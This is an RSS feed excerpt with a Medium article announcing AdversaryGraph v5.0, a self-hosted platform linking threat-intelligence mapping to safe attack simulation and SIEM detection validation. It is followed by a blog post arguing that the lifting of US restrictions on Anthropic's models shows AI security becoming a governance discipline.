href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#3d3e"><strong>Coherent Kill Chains, Not Random Events</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#2f06"><strong>Explain Attack</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#f317"><strong>Named Scenario Library</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#144f"><strong>Safety Boundaries</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#cd7c"><strong>How This Fits Detection Engineering</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#e7d0"><strong>Architecture Overview</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#6252"><strong>Example Use Case: Password Spray Detection</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#231b"><strong>Example Use Case: Web Recon to Exploit-Shaped Telemetry</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#8a5c"><strong>Example Use Case: Malware Findings to Detection Validation</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#dbfb"><strong>Example Use Case: Asset Inventory to Attack Surface</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#8e80"><strong>What This Release Is Not</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#ff3a"><strong>What Makes v5.0 Different</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#e399"><strong>Getting Started</strong></a></li><li><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39#22f6"><strong>Final Thoughts</strong></a></li></ul><h3>The Problem: CTI Often Stops Before Validation</h3><p>A typical CTI-to-detection workflow looks like this:</p><ol><li>Read an external report, internal incident report, malware note, or intelligence summary.</li><li>Extract behaviors: PowerShell, scheduled tasks, credential dumping, public-facing application exploitation, exfiltration, persistence, discovery, and so on.</li><li>Map those behaviors to MITRE ATT&amp;CK.</li><li>Compare them with known actor and campaign profiles.</li><li>Identify relevant IOCs.</li><li>Write hunting hypotheses and detection logic.</li><li>Ask whether the SIEM actually receives the required telemetry.</li><li>Test rules with sample logs, lab traffic, or purple-team activity.</li></ol><p>The hard part is not just mapping. The hard part is preserving the chain from <strong>evidence</strong> to <strong>technique</strong> to <strong>telemetry</strong> to <strong>detection validation</strong>.</p><p>If the SIEM parser is broken, the detection will not fire.</p><p>If the event structure is wrong, the rule will not match.</p><p>If the test event is too synthetic, the validation result is misleading.</p><p>If the ATT&amp;CK mapping is not tied back to evidence, the report becomes hard to defend.</p><p>AdversaryGraph v5.0 focuses on this full chain.</p><h3>What AdversaryGraph Is</h3><p>AdversaryGraph is a self-hosted CTI-to-detection platform. It combines a public research interface with a Docker-based private platform.</p><p>The public site is useful for exploration: ATT&amp;CK matrix navigation, group research, public technique context, and project documentation.</p><p>The self-hosted platform is where private work belongs: AI-assisted report analysis, stored investigations, IOC enrichment, malware-analysis workflows, asset inventories, attack simulation, SIEM validation, and API-driven workflows.</p><p>The high-level workflow is:</p><ol><li><strong>Ingest</strong> reports, logs, IOCs, malware findings, asset inventory, or feed data.</li><li><strong>Map</strong> behaviors to ATT&amp;CK with evidence and confidence.</li><li><strong>Enrich</strong> IOCs, actors, campaigns, malware families, and references.</li><li><strong>Validate</strong> coverage using lab telemetry and SIEM forwarding.</li><li><strong>Report</strong> findings in analyst-ready form.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sMubTyaMt5F9zU2t.png"></figure><h3>Core Capabilities Before v5.0</h3><p>Release 5.0 builds on a broader platform. The major existing modules are still part of the release and matter because Attack Simulation is designed to connect to them.</p><p><strong>All capabilities here:</strong></p><p><a href="https://1200km.com/adversarygraph-docs/capabilities/">Platform Capabilities | AdversaryGraph Documentation - CTI-to-Detection Workbench | 1200km</a></p><h4>AI-Assisted ATT&amp;CK Mapping</h4><p>Analysts can paste text or upload reports and ask the configured LLM provider to extract ATT&amp;CK candidates. The platform supports multiple provider options, including Claude, OpenAI, Gemini, MiniMax, and local OpenAI-compatible gateways.</p><p>The important part is not simply “ask AI for TTPs.” The useful part is that mappings are treated as analyst-assistance data:</p><ul><li>Techniques are shown with evidence.</li><li>Confidence is visible.</li><li>Output can be reviewed before operational use.</li><li>Extracted TTPs can be pushed into the Navigator.</li><li>Results can be compared with groups, campaigns, and stored reports.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YMWb4u7m0Ogpsb6T.png"></figure><h4>ATT&amp;CK Navigator and Group Context</h4><p>The Navigator is the central workspace for technique review. It supports Enterprise, Mobile, ICS, and ATLAS-style workflows. Analysts can search techniques, build layers, overlay group context, import/export layers, and move selected TTPs into comparison and reporting workflows.</p><p>This matters because many teams already think in ATT&amp;CK, but their toolchain is split between reports, spreadsheets, diagrams, SIEM rules, and ticketing systems. AdversaryGraph tries to keep the matrix connected to the rest of the investigation.</p><h4>Group, Campaign, and Report Similarity</h4><p>AdversaryGraph uses TTP overlap as a way to generate hypotheses. It compares selected behavior against ingested group profiles, campaigns, and stored report libraries.</p><p>This is intentionally framed as similarity, not attribution.</p><p>TTP overlap can help prioritize research. It can suggest which actor profiles or campaigns deserve review. It is not proof that a specific actor is responsible for an intrusion.</p><h4>IOC Investigation</h4><p>The IOC workflow lets analysts pivot from observable data into reputation and relationship context. IPs, domains, URLs, hashes, and other observables can be investigated with feed context and ATT&amp;CK leads.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SHhDv7Qw2exVtviQ.png"></figure><h4>Malware Analysis</h4><p>The Malware Analysis module connects static triage, hash checks, unpacking, strings, decompilation/debug views, runtime-gated analysis, and AI summaries back to the CTI workflow.</p><p>The point is not to replace a reverse engineer. The point is to help analysts preserve malware-derived evidence and map it into ATT&amp;CK, IOCs, and investigation outputs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*W0QBOK9La3Q3mirM.png"></figure><h4>Asset Attack-Surface Mapping</h4><p>AdversaryGraph can ingest asset inventory input, normalize assets, score exposure, propose likely entry points, and map asset-driven ATT&amp;CK candidates.</p><p>This is useful when the question is not “what did the attacker do?” but “what could an attacker realistically try against my exposed environment?”</p><p>Examples:</p><ul><li>Public web applications.</li><li>VPN and identity services.</li><li>Exposed admin panels.</li><li>Cloud assets.</li><li>Remote management services.</li><li>High-value internal systems.</li><li>Scanner and CMDB exports.</li></ul><h3>What Is New in v5.0</h3><p>The headline feature is <strong>Attack Simulation</strong>.</p><p>Attack Simulation is designed for defensive validation and detection engineering. It lets analysts work from a TTP-first interface, run safe simulations, inspect telemetry, and forward events to a SIEM.</p><p>This is not an exploitation framework. It does not run malware. It does not execute arbitrary commands against arbitrary user targets. It is a controlled validation workspace for authorized lab scenarios and source-shaped telemetry drills.</p><p>The v5.0 release adds:</p><ul><li>A new Attack Simulation workspace.</li><li>ATT&amp;CK-style matrix selection for runnable simulations.</li><li>Dedicated configuration pages per selected TTP.</li><li>Built-in lab web target for web-focused scenarios.</li><li>Target-side real-time log viewing.</li><li>SIEM forwarding to HTTP(S) collectors.</li><li>Saved recent SIEM destinations.</li><li>AI Attack Assistant.</li><li>“Challenge Me” mode.</li><li>Complicated multi-source attack-chain scenarios.</li><li>25 named coherent scenario templates.</li><li>Attack-chain graph.</li><li>Explain Attack panel.</li><li>Source-shaped Windows, Sysmon, EDR, DNS, proxy, firewall, web, and WAF event generation for SIEM parser and rule validation.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6nP-gwkSId3d917_.png"></figure><h3>TTP-First Simulation Workflow</h3><p>The workflow starts with the ATT&amp;CK matrix.</p><p>Runnable simulation cells are visible directly in the matrix, and related TTP pages can link back into the simulation workflow. This keeps the analyst oriented around ATT&amp;CK instead of hiding simulations behind unrelated forms.</p><p>The basic flow is:</p><ol><li>Open Attack Simulation.</li><li>Choose a TTP from the matrix.</li><li>Open the dedicated simulation page.</li><li>Review what the scenario does.</li><li>Review telemetry source and event structure.</li><li>Run the lab scenario or AI-assisted telemetry drill.</li><li>Inspect logs in real time.</li><li>Forward selected logs to the SIEM.</li><li>Confirm whether detections fired.</li><li>Record validation gaps.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1RZJyK6gkRejmuv0.png"></figure><p>Each scenario explains:</p><ul><li>What happens.</li><li>What adversary behavior is represented.</li><li>Which system emits telemetry.</li><li>Which event structures are expected.</li><li>What the detection should focus on.</li><li>Which telemetry is production-like and which is a lab canary.</li><li>What the validation gaps are.</li></ul><p>That explanation is important. A simulation without context is just noise. A simulation with context becomes a detection-engineering exercise.</p><h3>Real Lab Telemetry for Web Scenarios</h3><p>One major design goal was to avoid fake “log generation” for web scenarios where a real lab target can safely produce logs.</p><p>For web-focused simulations, the Docker deployment includes an attack-lab-web target. The AdversaryGraph API sends real HTTP requests to that lab web server over the Docker network. The target server writes its own logs.</p><p>The analyst can then inspect real target-side telemetry such as:</p><ul><li>NGINX access logs.</li><li>NGINX error logs.</li><li>Application authentication logs.</li><li>WAF/security-style logs.</li><li>Structured web JSONL telemetry.</li><li>Run-specific JSONL logs.</li><li>Merged attacked-server events.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/0*CPDdyF-3kyqCleFB.png"></figure><p>This is different from simply printing a row that looks like an access log. The request is sent to the lab server, and the server emits the log.</p><p>Supported web-focused scenarios include:</p><ul><li>HTTP and TLS service fingerprinting.</li><li>Public application probing.</li><li>Path discovery.</li><li>Sensitive file and configuration path access.</li><li>Directory traversal canaries.</li><li>SQL injection-shaped requests.</li><li>XSS-shaped requests.</li><li>SSRF-shaped requests.</li><li>Command-injection-shaped requests.</li><li>Web-shell access canaries.</li><li>Upload and download scenarios.</li><li>Failed-login flows.</li><li>Brute-force patterns.</li><li>Password spray.</li><li>User enumeration.</li><li>Beacon-like web traffic.</li><li>Exfiltration-shaped traffic.</li></ul><p>The key phrase is “attack-shaped canary.” The goal is to generate realistic defensive telemetry without exploiting a real target or executing harmful payloads.</p><h3>SIEM Forwarding</h3><p>Validation is incomplete if the event never reaches the SIEM.</p><p>The v5.0 SIEM forwarding panel sends selected Attack Simulation telemetry to HTTP(S) collectors. This can be used with Logstash HTTP input, Splunk HEC-style collectors, XpoLog/Logeye listeners, or custom webhook receivers.</p><p>Supported controls include:</p><ul><li>Full URL or raw host:port/path destination.</li><li>Direct destination mode.</li><li>Docker host gateway routing.</li><li>Automatic route selection.</li><li>Raw original line per request.</li><li>JSON event per request.</li><li>JSON Lines.</li><li>Batch envelope.</li><li>No auth.</li><li>Bearer token auth.</li><li>Token auth.</li><li>Basic auth.</li><li>Custom token header.</li><li>Source selection: access, auth, endpoint, WAF/security, error, structured JSONL, run JSONL, or all attacked-server events.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/0*DYOx-cPX4OK1g66v.png"></figure><p>The platform also keeps the last 10 non-secret SIEM destinations for reuse. This is useful during repeated parser testing, rule tuning, and dashboard validation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/0*vpv4bXcWuUgvV4Hx.png"></figure><p>Credentials are not stored as part of the saved destination history. The saved address is intended to reduce typing friction, not to become a secret store.</p><h3>AI Attack Assistant</h3><p>The AI Attack Assistant is one of the main additions in v5.0.</p><p>It helps generate detection-engineering drills by building correlated telemetry stories around selected behavior.</p><p>The assistant supports three modes:</p><ol><li><strong>Selected TTP</strong>: generate a focused validation flow around the technique currently selected in the Attack Simulation page.</li><li><strong>Threat actor</strong>: generate a scenario inspired by a threat actor’s known behavior and ATT&amp;CK profile.</li><li><strong>Challenge Me</strong>: generate a blind multi-phase detection challenge for the analyst.</li></ol><p>There is also a <strong>Complicated attack</strong> option. When enabled, the assistant builds longer multi-source flows across telemetry types such as:</p><ul><li>Windows Security Event Log.</li><li>Sysmon.</li><li>EDR process and file telemetry.</li><li>DNS logs.</li><li>Proxy logs.</li><li>Firewall traffic logs.</li><li>Web access logs.</li><li>WAF/security logs.</li><li>Authentication logs.</li></ul><p>The goal is not to normalize everything into one generic schema. For complicated scenarios, the assistant should preserve source/vendor-shaped event patterns so the SIEM parser and rule logic are tested more realistically.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*R2jz_jH_4T-N9__R.png"></figure><h3>Coherent Kill Chains, Not Random Events</h3><p>A detection drill should not be a random list of suspicious events.</p><p>In v5.0, complicated scenarios are built as coherent attack chains. The chain has ordered phases, each phase has a reason, and each phase emits events that should correlate with the surrounding activity.</p><p>For example, a password-spray-to-foothold scenario may include:</p><ol><li>Username enumeration.</li><li>Multiple failed authentication attempts.</li><li>One successful logon after failures.</li><li>Endpoint discovery from the authenticated host.</li><li>Suspicious tool transfer.</li><li>Persistence or lateral discovery.</li></ol><p>That is much more useful than a single failed-login event.</p><p>The Attack Chain Graph makes this visible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-bkB_LbIx9r5Ro35.png"></figure><p>Each phase can show:</p><ul><li>Phase number.</li><li>ATT&amp;CK technique.</li><li>Telemetry source.</li><li>Event format.</li><li>Event count.</li><li>Detection goal.</li><li>Supporting tags.</li></ul><p>This helps the analyst understand whether the generated activity is a plausible kill chain or just a bag of indicators.</p><h3>Explain Attack</h3><p>When “Challenge Me” or a complex AI-generated scenario is used, the platform includes an <strong>Explain Attack</strong> action.</p><p>This panel explains:</p><ul><li>What the scenario is trying to simulate.</li><li>Why each phase appears in the chain.</li><li>Which telemetry sources matter.</li><li>What the analyst should search for.</li><li>What detections should fire.</li><li>Which false positives or tuning points should be considered.</li><li>What success criteria should be used.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*H7lfS2NaR1B5hvEV.png"></figure><p>This is useful for training and validation. It turns generated events into an exercise that a SOC analyst, detection engineer, or CTI analyst can actually follow.</p><h3>Named Scenario Library</h3><p>Release 5.0 includes a library of named coherent scenarios.</p><p>Examples include:</p><ul><li>Web App to Endpoint Compromise.</li><li>Password Spray to Valid Account Foothold.</li><li>SQL Injection to Data Theft.</li><li>Recon to Web Shell Persistence.</li><li>Valid Account to LSASS Access.</li><li>Password Spray to Exfiltration.</li><li>XSS Canary to Session Abuse.</li><li>SSRF Metadata Probe to C2.</li><li>Ransomware Precursor Chain.</li><li>Living-off-the-Land Transfer and Execution.</li><li>Internal Discovery After Foothold.</li><li>Web Enumeration to Password Spray.</li><li>Public App Exploit to Persistence.</li><li>Credential Dump to Cloud Upload.</li><li>Signed Binary Proxy to C2.</li><li>FIN7-style web, identity, and persistence flow.</li><li>APT29-style identity and PowerShell flow.</li><li>Lazarus-style delivery and exfiltration flow.</li><li>Noisy red-team drill.</li><li>Stealthy low-volume intrusion chain.</li><li>WAF bypass retry chain.</li><li>Service account abuse.</li><li>External recon to credential access.</li><li>C2 telemetry validation.</li><li>Persistence control validation.</li></ul><p>These are not meant to prove that a real actor attacked you. They are templates for detection validation and training. They help answer questions like:</p><ul><li>Does my SIEM parse this source?</li><li>Does my correlation rule see the sequence?</li><li>Does the detection alert only on one event or on the chain?</li><li>Can analysts reconstruct the story from logs?</li><li>Which telemetry source is missing?</li><li>Where do false positives appear?</li></ul><h3>Safety Boundaries</h3><p>Attack Simulation must be safe by design.</p><p>The v5.0 module follows several boundaries:</p><ul><li>It does not execute malware.</li><li>It does not run arbitrary commands.</li><li>It does not exploit arbitrary external targets.</li><li>Web simulation traffic is limited to predefined benign canaries against the local lab target.</li><li>SIEM forwarding sends generated Attack Simulation telemetry.</li><li>Unsafe URL schemes and metadata/link-local destinations are blocked.</li><li>Credentials used for forwarding are used only for the current request and are not stored.</li></ul><p>This matters because the target user is a defender. The feature is built for detection engineering, parser validation, SOC drills, and authorized lab workflows.</p><h3>How This Fits Detection Engineering</h3><p>Detection engineering is not only writing rules. It is a lifecycle:</p><ol><li>Understand the adversary behavior.</li><li>Map it to ATT&amp;CK or another behavior model.</li><li>Identify required telemetry.</li><li>Confirm that telemetry exists.</li><li>Confirm that parsing works.</li><li>Write detection logic.</li><li>Test the logic with realistic events.</li><li>Tune false positives.</li><li>Document assumptions and gaps.</li><li>Re-test when infrastructure or parsers change.</li></ol><p>AdversaryGraph v5.0 tries to support this lifecycle directly.</p><p>The CTI modules help with steps 1 and 2.</p><p>IOC and malware modules help enrich the investigation context.</p><p>Asset attack-surface mapping helps identify relevant entry points.</p><p>Attack Simulation helps with steps 3 through 8.</p><p>Reports and docs help with steps 9 and 10.</p><h3>Architecture Overview</h3><p>The self-hosted platform is built around a browser frontend and API backend.</p><p>At a high level:</p><ul><li>Frontend: React/Vite user interface.</li><li>Backend: FastAPI service.</li><li>Database: PostgreSQL for stored investigations and platform data.</li><li>Background jobs: Redis/Celery where needed.</li><li>ATT&amp;CK data: synchronized from MITRE sources.</li><li>AI providers: operator-configured providers such as Claude, OpenAI, Gemini, MiniMax, or local OpenAI-compatible services.</li><li>Malware workflow: MalwareGraph-backed analysis components.</li><li>Attack lab: Docker-based target services for controlled telemetry generation.</li><li>SIEM forwarding: HTTP(S) delivery to configured collectors.</li></ul><p>For the v5.0 web simulation flow, the important architectural distinction is:</p><p>AdversaryGraph does not simply invent an access log line for the UI. It sends real HTTP requests to the lab web target, and the lab web target emits server-side logs.</p><p>For AI-generated complicated scenarios, the goal is different. The assistant generates source-shaped telemetry for SIEM parser and detection validation. This is not proof of compromise, and it is not a replacement for live lab execution. It is a defensive validation tool for testing ingestion, parsers, correlation, dashboards, and analyst workflows.</p><h3>Example Use Case: Password Spray Detection</h3><p>A common detection engineering task is password spray validation.</p><p>The analyst wants to know:</p><ul><li>Do we ingest authentication failures?</li><li>Are usernames parsed correctly?</li><li>Can we count failures across many users?</li><li>Can we detect one source trying one password against many accounts?</li><li>Can we correlate a later successful login?</li><li>Can we connect the successful login to endpoint activity?</li></ul><p>With AdversaryGraph v5.0, the workflow becomes:</p><ol><li>Select a credential-access or brute-force related TTP.</li><li>Choose the password spray scenario.</li><li>Run the lab or AI-assisted flow.</li><li>Observe authentication-related events.</li><li>Forward the events to the SIEM.</li><li>Confirm the parser.</li><li>Confirm the rule.</li><li>Review the chain graph.</li><li>Use Explain Attack to document what should have happened.</li><li>Record gaps.</li></ol><p>The important part is the chain. A single 4625-like event is not enough. A realistic validation should include many failures, many users, timing, source consistency, and possibly one later success.</p><h3>Example Use Case: Web Recon to Exploit-Shaped Telemetry</h3><p>For a web application detection scenario, the analyst may want to test:</p><ul><li>Path discovery.</li><li>Sensitive file probing.</li><li>SQL injection-shaped requests.</li><li>XSS-shaped requests.</li><li>SSRF-shaped requests.</li><li>WAF canary classification.</li><li>Access-log parser behavior.</li><li>SIEM dashboards for web attacks.</li></ul><p>AdversaryGraph can run approved web canaries against the lab web target, then show the real target-side logs in the UI.</p><p>This lets the detection engineer validate more than a rule. It validates whether the web tier emits usable logs and whether the SIEM receives enough context to detect the behavior.</p><h3>Example Use Case: Malware Findings to Detection Validation</h3><p>The malware module can produce findings such as:</p><ul><li>Suspicious imports.</li><li>Strings.</li><li>Packed sample indicators.</li><li>Function-level behavior.</li><li>Potential IOCs.</li><li>ATT&amp;CK candidates.</li><li>AI-assisted summaries.</li></ul><p>Those findings can feed detection engineering:</p><ul><li>Which API calls should we monitor?</li><li>Which command lines or process patterns matter?</li><li>Which persistence mechanisms appear?</li><li>Which network indicators are useful?</li><li>Which behaviors should become validation scenarios?</li></ul><p>AdversaryGraph’s value is that malware findings do not stay isolated in a reverse-engineering note. They can be connected back to ATT&amp;CK and validation planning.</p><h3>Example Use Case: Asset Inventory to Attack Surface</h3><p>Asset inventories often live in spreadsheets, CMDB exports, or scanner output. The security team may know what exists, but not how to translate that into likely ATT&amp;CK entry points.</p><p>The Asset Attack Surface module helps with:</p><ul><li>Normalizing assets.</li><li>Identifying exposed services.</li><li>Scoring exposure.</li><li>Mapping likely entry points.</li><li>Proposing ATT&amp;CK candidates.</li><li>Creating saved cases.</li></ul><p>This connects directly to Attack Simulation because a high-risk public web application or VPN service should map to validation scenarios around external discovery, exploitation attempts, credential attacks, and logging coverage.</p><h3>What This Release Is Not</h3><p>It is important to define what v5.0 is not.</p><p>It is not an autonomous attack platform.</p><p>It is not a malware execution system.</p><p>It is not a replacement for a full cyber range.</p><p>It is not attribution proof.</p><p>It is not a guarantee that a detection works in production.</p><p>It is an analyst-assistance and validation platform. Its output should be reviewed by qualified analysts and detection engineers before operational use.</p><h3>What Makes v5.0 Different</h3><p>The main difference is the connection between CTI and validation.</p><p>Many tools stop at one of these points:</p><ul><li>Visualize ATT&amp;CK.</li><li>Extract TTPs.</li><li>Store IOCs.</li><li>Generate sample logs.</li><li>Run a lab attack.</li><li>Forward events.</li></ul><p>AdversaryGraph tries to connect these into one workflow:</p><ol><li>Understand the behavior.</li><li>Map it.</li><li>Enrich it.</li><li>Simulate it safely.</li><li>Observe telemetry.</li><li>Send it to the SIEM.</li><li>Explain what happened.</li><li>Document what passed and what failed.</li></ol><p>That is the direction I want the platform to continue moving.</p><h3>Getting Started</h3><p>If you want to explore the public interface:</p><p><a href="https://1200km.com/threat-matrix/">AdversaryGraph Web - Public ATT&amp;CK Workspace for AdversaryGraph | 1200km</a></p><p><strong>If you want the full private platform:</strong></p><pre>git clone https://github.com/anpa1200/adversarygraph.git<br>cd adversarygraph<br>cp .env.example .env<br>docker compose up</pre><p><strong>Then open:</strong></p><pre>http://localhost:3000</pre><p><strong>Read the full documentation here:</strong></p><p><a href="https://1200km.com/adversarygraph-docs/">AdversaryGraph Documentation - CTI-to-Detection Workbench | 1200km</a></p><p><strong>Attack Simulation guide:</strong></p><p><a href="https://1200km.com/adversarygraph-docs/attack-simulation/">Attack Simulation | AdversaryGraph Documentation - CTI-to-Detection Workbench | 1200km</a></p><p><strong>Project page:</strong></p><p><a href="https://1200km.com/adversarygraph/">AdversaryGraph AI - CTI-to-Detection Platform</a></p><p><strong>GitHub release:</strong></p><p><a href="https://github.com/anpa1200/adversarygraph/releases/tag/v5.0.0">Release AdversaryGraph v5.0.0 · anpa1200/adversarygraph</a></p><h3>Final Thoughts</h3><p>AdversaryGraph v5.0 is a step toward a more complete CTI-to-detection workflow.</p><p>The platform is still built around a simple idea: intelligence should not end as a static report. It should become a mapped, enriched, validated, and explainable defensive workflow.</p><p>With Attack Simulation, SIEM forwarding, real lab telemetry, AI-assisted scenario generation, and attack-chain explanation, v5.0 moves AdversaryGraph closer to that goal.</p><p>The next challenge is to continue improving realism: more telemetry sources, more lab targets, better parser validation, stronger scenario libraries, and deeper connections between malware analysis, asset exposure, and detection engineering.</p><p>If you work in CTI, SOC operations, detection engineering, malware analysis, or purple-team validation, I would be glad to hear feedback.</p><p>Project:</p><p><a href="https://github.com/anpa1200/adversarygraph">https://github.com/anpa1200/adversarygraph</a></p><p>Documentation:</p><p><a href="https://1200km.com/adversarygraph-docs/">https://1200km.com/adversarygraph-docs/</a></p><p>Live workspace:</p><p><a href="https://1200km.com/threat-matrix/">AdversaryGraph Web - Public ATT&amp;CK Workspace for AdversaryGraph | 1200km</a></p><p>Main page:</p><p><a href="https://1200km.com/">Andrey Pautov - CTI &amp; Detection Engineering</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=21873b2a6c39" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/adversarygraph-v5-0-from-cti-mapping-to-attack-simulation-and-siem-validation-21873b2a6c39">AdversaryGraph v5.0: From CTI Mapping to Attack Simulation and SIEM Validation</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[What the Anthropic Decision Reveals About the Future of AI Security]]></title>
<description><![CDATA[The recent decision by the U.S. administration to lift restrictions on Anthropic’s frontier AI models has generated plenty of debate. Some have questioned whether the original restrictions were justified, while others argue they reflected legitimate concerns about the cybersecurity capabilities o...]]></description>
<link>https://tsecurity.de/de/3645395/it-security-nachrichten/what-the-anthropic-decision-reveals-about-the-future-of-ai-security/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3645395/it-security-nachrichten/what-the-anthropic-decision-reveals-about-the-future-of-ai-security/</guid>
<pubDate>Sat, 04 Jul 2026 15:07:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>The recent decision by the U.S. administration to lift restrictions on Anthropic’s frontier AI models has generated plenty of debate. Some have questioned whether the original restrictions were justified, while others argue they reflected legitimate concerns about the cybersecurity capabilities of increasingly powerful AI systems.</span></p>

<p class="p3"><span>Regardless of where you stand, I believe the real story lies elsewhere.</span></p>

<p class="p3"><span>This is one of the clearest examples yet of governments treating AI models as technologies with potential national security implications rather than simply another software product. That should make every cybersecurity leader take notice.</span></p><p class="p3"></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsDHxs_NFgmlo57vj8TBnJy6O4aXqV_c7S_kfdPXiREUlcy7RwnNOobcOQdTC_4sstx0KgMeFU-vV08qkkhF97N7Nzf68dY8bGZwBLLMbMwA_DqAoiVhTA8wG2v4sXGptvpzlafXMe41jH-qnG_0_64i6KZr_Uf6HaDp1afNSSuqz2rUs6F4308jKKF4ef/s1536/Future_of_AI_Security.png" imageanchor="1"><img border="0" data-original-height="1024" data-original-width="1536" height="266" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsDHxs_NFgmlo57vj8TBnJy6O4aXqV_c7S_kfdPXiREUlcy7RwnNOobcOQdTC_4sstx0KgMeFU-vV08qkkhF97N7Nzf68dY8bGZwBLLMbMwA_DqAoiVhTA8wG2v4sXGptvpzlafXMe41jH-qnG_0_64i6KZr_Uf6HaDp1afNSSuqz2rUs6F4308jKKF4ef/w400-h266/Future_of_AI_Security.png" width="400"></a></div><p></p>

<h2><span class="s1"><b><span>AI Security Is Different</span></b></span></h2>

<p class="p3"><span>For decades, cybersecurity has focused on protecting systems from attack. Today, we are entering an era where AI itself can influence the speed, scale and sophistication of those attacks.</span></p>

<p class="p3"><span>Modern frontier models can assist with code analysis, vulnerability discovery, malware understanding and offensive research. While these capabilities also benefit defenders, they raise difficult questions about where the line should be drawn between innovation, responsible access and national security.</span></p>

<p class="p3"><span>Whether governments choose to impose restrictions or not, the conversation itself demonstrates how quickly AI has become a strategic cybersecurity issue.</span></p>

<h2><span class="s1"><b><span>Don’t Forget the Fundamentals</span></b></span></h2>

<p class="p3"><span>Amid the discussion surrounding advanced AI capabilities, it is important not to lose sight of the basics.</span></p>

<p class="p3"><span>Cybersecurity expert Dr. Ilia Kolochenko, founder of ImmuniWeb, recently observed that many successful attacks still rely on exposed services, weak identity controls and configuration errors rather than sophisticated zero-day vulnerabilities.</span></p>

<p class="p3"><span>I agree with that assessment.</span></p>

<p class="p3"><span>The vast majority of successful breaches today are not the result of nation-state-level AI capabilities. They occur because organisations fail to manage identities, secure cloud configurations, maintain asset inventories, patch critical systems or validate that their controls are actually working.</span></p>

<p class="p3"><span>AI may change how quickly attackers identify opportunities, but it does not eliminate the need for strong cyber hygiene.</span></p>

<h2><span class="s1"><b><span>The Real Challenge for CISOs</span></b></span></h2>

<p class="p3"><span>The lesson from this episode is not whether Anthropic should or should not have faced restrictions.</span></p>

<p class="p3"><span>The lesson is that AI is forcing organisations to think differently about governance.</span></p>

<p class="p4"><span>Security leaders now need to consider questions that barely existed a few years ago:</span></p>

<ul><li><span>Who can access frontier AI models?</span></li><li><span>How are prompts, outputs and sensitive data governed?</span></li><li><span>What controls exist to prevent misuse?</span></li><li><span>How do organisations monitor AI-assisted development and security testing?</span></li><li><span>How do we balance productivity with acceptable risk?</span></li></ul>

<p class="p3"><span>These are governance questions as much as they are technical ones.</span></p>

<h2><span class="s1"><b><span>Security Needs to Stay Evidence-Based</span></b></span></h2>

<p class="p3"><span>As with any emerging technology, there is a danger of focusing on the headlines rather than the evidence.</span></p>

<p class="p3"><span>Some commentators argue AI is transforming offensive cybersecurity overnight. Others believe the impact is overstated.</span></p>

<p class="p3"><span>The reality almost certainly sits somewhere in the middle.</span></p>

<p class="p3"><span>AI undoubtedly improves the efficiency of many security tasks for both defenders and attackers. However, organisations are still compromised every day through preventable weaknesses that have existed for years.</span></p>

<p class="p3"><span>Security leaders should resist chasing every new headline while neglecting the fundamentals that continue to cause the majority of incidents.</span></p>

<h2><span class="s1"><b><span>Final Thoughts</span></b></span></h2>

<p class="p3"><span>The debate surrounding Anthropic’s models is likely to be remembered as one of the early moments when AI moved beyond being viewed solely as a productivity tool and began to be treated as technology with genuine strategic security implications.</span></p>

<p class="p3"><span>Whether future governments choose tighter controls or greater openness, one thing is becoming increasingly clear: AI security is not simply another branch of cybersecurity.</span></p>

<p class="p3"><span>It is rapidly becoming a discipline in its own right.</span></p>

